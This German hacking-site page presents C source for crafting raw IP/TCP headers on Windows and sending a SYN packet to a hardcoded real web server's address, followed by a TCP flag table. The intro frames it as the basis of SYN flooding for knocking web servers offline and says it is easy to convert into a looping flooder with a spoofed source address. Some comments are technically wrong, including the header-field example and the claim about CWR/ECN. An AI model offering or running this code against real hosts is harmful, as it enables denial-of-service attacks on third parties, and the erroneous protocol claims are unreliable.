![]() |
![]() |
News... | Hack-Acad | Downloads | Web-Projekte | Kontakt |
HACKACAD - SYN FLooding (Code) SYN Flooding ist eine beliebte Wurm/Virus Methode um zum Beispiel einen Webserver lahm zu legen (daher stammen Code-Fragmenete auch aus einem solchen). Dieser Code ist als Konsolen Beispiel ausgelegt, um die Herstellung eigener TCP/IP Headern zu erläutern. Änderungen des Quellcodes in einen Endlos-Schleifen SYN Flooder mit gespoofter Absender IP Adresse sind ohne weiteres möglich, doch geschehen auf eigenes Risiko. Abschliessend nach dem Sourcecode folgt eine TCP Flag Übersicht. | ||
#include <winsock2.h> // definiert z.B. Protokolle (IPPROTO_RAW) oder Ports/Sockets (IPPORT_FTP)
#include <stdio.h> // Standard I/O Funktionen wie printf()
#include <string.h> // String und Memory Funktionen wie strcmp() und memset()
#include <ws2tcpip.h> // beinhaltet spezifische Information für Winsock2 wzB. IP_HDRINCL
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "wininet.lib")
#define NUM_ELEMENTS(x) (sizeof((x)) / sizeof((x)[0]))
struct IPHDR
{
unsigned char verlen; // IP version & length
/* verlen hat 8 Bits, die ersten 4 für die Version
und die letzten 4 für die Länge.
Beispiel: HEX 0x65 ist Binär 0x01100101
Aufgeteilt also 0110 = DEZ 6 und 0101 = DEZ 5
Daraus resultiert Version 6 und Länge 20
*/
unsigned char tos; // IP type of service
/* 1 Byte:
1000 -- minimize delay
0100 -- maximize throughput
0010 -- maximize reliability
0001 -- minimize monetary cost
0000 -- normal service
*/
unsigned short totallength; // Total length
/* 2 Bytes = 16 bits
Länge des IP-Paketes einschließlich der nachfolgenden Daten
*/
unsigned short id; // Unique identifier
/* 16 bit breit.
Dieses und die beiden folgenden Felder 'Flags' und 'Fragment Offset'
steuern die Reassembly (=Zusammensetzen von zuvor fragmentierten IP
Datenpakete). Eindeutige Kennung eines Datagramms. Anhand dieses
Feldes und der 'Source Address' kann der Empfänger die
Zusammengehörigkeit von Fragmenten detektieren und sie wieder
reassemblieren.
*/
unsigned short offset; // Fragment offset field
unsigned char ttl; // Time to live
unsigned char protocol; // Protocol(TCP, UDP, etc.)
unsigned short checksum; // IP checksum
// 16 bit breit. Eine Prüfsumme ausschließlich für den Header
unsigned int srcaddr; // Source address
unsigned int dstaddr; // Destination address
}; // Ende struct IPHDR
struct TCPHDR
{
unsigned short srcport; // Port über den wir senden
unsigned short dstport; // Port den wir ansprechen wollen
unsigned int seqno;
unsigned int ackno;
unsigned char offset;
unsigned char flags; // Art des Pakets:
// FIN / SYN / RST
// PSH / ACK / URG
// ENC / CWR
unsigned short window;
unsigned short checksum;
unsigned short urgptr;
};
struct FORCSUM
{
unsigned int srcaddr;
unsigned int dstaddr;
unsigned char padzero;
unsigned char protocol;
unsigned short tcplength;
};
// Funktions Prototypen
int RawSocket(char destIP[], int destPort, int fd, char srcIP[], int srcPort, int tcpFlag);
int csum(const void *bufv, int length);
void IP_auslesen(char* IP_ADRESSE);
int SockAttempt(int * fd);
int main(int argc, char *argv[])
{
//Deklaration der benötigte Variablen
char srcIP[MAX_PATH], destIP[MAX_PATH];
int destPort, srcPort, tcpFlag, fd;
//Initialisierung der Variablen
IP_auslesen(srcIP);
strcpy(destIP,"193.99.144.71"); // ping auf www.heise.de
destPort = 80;
srcPort = 1723; // PPTP Port
tcpFlag = 2; // SYN Flag
fd = 0;
system("CLS");
printf("Settings:\r\n");
printf("---------\r\n");
printf("Source IP : %s\r\n",srcIP);
printf("Source Port : %i\r\n",srcPort);
printf("Destination IP : %s\r\n",destIP);
printf("Destination Port: %i\r\n",destPort);
printf("\r\n");
printf("Now attempting to create socket...\r\n");
if(SockAttempt(&fd)==0)
{
printf("... successful !!!\r\n\r\n");
}
printf("Creating own TCP/IP headers...\r\n");
RawSocket(destIP, destPort, fd, srcIP, srcPort, tcpFlag);
closesocket(fd);
WSACleanup();
system("PAUSE");
return 0;
}
int SockAttempt(int * fd)
{
WORD sockVersion;
WSADATA wsaData;
int iErr = 0, opt = 1;
sockVersion = MAKEWORD(2, 2);
if (WSAStartup(sockVersion, &wsaData)!=0)
{
printf("WSAStartup Error -> ");
iErr = WSAGetLastError();
}
else
{
*fd = WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (*fd == SOCKET_ERROR)
{
printf("WSASocket Error -> ");
iErr = WSAGetLastError();
}
else
{
if (setsockopt(*fd, IPPROTO_IP, IP_HDRINCL,(char*)&opt, sizeof(opt)) == SOCKET_ERROR)
{
printf("setsockopt Error -> ");
iErr = WSAGetLastError();
}
}
}
return iErr;
}
int RawSocket(char destIP[], int destPort, int fd, char srcIP[], int srcPort, int tcpFlag)
{
struct sockaddr_in to;
struct FORCSUM forcsum;
struct TCPHDR tcp;
struct IPHDR ip;
char buf[60] = {0};
int iErr;
to.sin_family = AF_INET;
to.sin_port = htons((u_short)destPort);
to.sin_addr.s_addr = inet_addr(destIP);
// IP header erstellen
ip.verlen = 0x45;
ip.tos = 0x00;
ip.totallength = 24;
ip.id = 1;
ip.offset = 0;
ip.ttl = 0x80;
ip.protocol = IPPROTO_TCP;
ip.checksum = 0;
ip.dstaddr = inet_addr(destIP);
ip.srcaddr = inet_addr(srcIP);
// TCP header erstellen
tcp.dstport = htons((u_short)destPort);
tcp.ackno = 0;
tcp.offset = (unsigned char)(80);
tcp.flags = tcpFlag;
tcp.window = htons(0x4000);
tcp.urgptr = 0;
tcp.checksum = 0;
forcsum.dstaddr = ip.dstaddr;
forcsum.padzero = 0;
forcsum.protocol = IPPROTO_TCP;
forcsum.tcplength = htons(sizeof(tcp));
tcp.srcport = htons((u_short)srcPort);
tcp.seqno = htonl((unsigned short)((rand()<<16)|rand()));
forcsum.srcaddr = inet_addr(srcIP);
memcpy(buf, &forcsum, sizeof(forcsum));
memcpy(buf+sizeof(forcsum), &tcp, sizeof(tcp));
tcp.checksum = csum(buf, sizeof(forcsum)+sizeof(tcp));
memcpy(buf, &ip, sizeof(ip));
memcpy(buf+sizeof(ip), &tcp, sizeof(tcp));
memset(buf+sizeof(ip)+sizeof(tcp), 0,sizeof(buf)-sizeof(ip)-sizeof(tcp));
ip.checksum = csum(buf, sizeof(ip)+sizeof(tcp));
memcpy(buf, &ip, sizeof(ip));
printf("done...\r\n");
printf("Attempting to send data...\r\n");
iErr = sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,(struct sockaddr*)&to, sizeof(to));
if(iErr == SOCKET_ERROR)
{
iErr = WSAGetLastError();
printf("sendto Error: %i\r\n\r\n",iErr);
}
else
printf("Bytes Sent: %i\r\n\r\n",iErr);
return 0;
}
int csum(const void *bufv, int length)
{
const unsigned short *buf = (const unsigned short *)bufv;
unsigned long result = 0;
while (length > 1) {
result += *(buf++);
length -= sizeof(*buf);
}
if (length) result += *(unsigned char*)buf;
result = (result >> 16) + (result & 0xFFFF);
result += (result >> 16);
result = (~result)&0xFFFF;
return (int)result;
}
void IP_auslesen(char* IP_ADRESSE)
{
struct hostent* h;
WSADATA wsaData;
UCHAR ucAddress[4];
CHAR szHostName[MAX_PATH];
int x;
WSAStartup(MAKEWORD(1, 1), &wsaData);
if(SOCKET_ERROR != gethostname(szHostName, NUM_ELEMENTS(szHostName)))
{
if(NULL != (h = gethostbyname(szHostName)))
{
for(x = 0; (h->h_addr_list[x]); x++)
{
ucAddress[0] = h->h_addr_list[x][0];
ucAddress[1] = h->h_addr_list[x][1];
ucAddress[2] = h->h_addr_list[x][2];
ucAddress[3] = h->h_addr_list[x][3];
wsprintf(IP_ADRESSE, "%d.%d.%d.%d", ucAddress[0], ucAddress[1], ucAddress[2], ucAddress[3]);
}
}
}
WSACleanup();
}
|
||
TCP Flag Positionen: | ||||||||||
| 256 | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 | ||
| * | CWR | ECN | URG | ACK | PSH | RST | SYN | FIN | ||
Das bedeutet, wir haben "tcp.flags" mit "tcpFlag" einen Integer Wert zugeordnet. In unserem Beispiel Dezimal 2. Wollten wir nun ein SYN, URG Paket schicken, so ist tcpFlag auf SYN + URG zu setzen. Also 2 + 32 => 34 ! Ableitend davon bedeutet der * demnach das sätliche Flags gesetzt sind. CWR und ECN machen dabei nur bei Frame Relay einen Sinn. | ||||||||||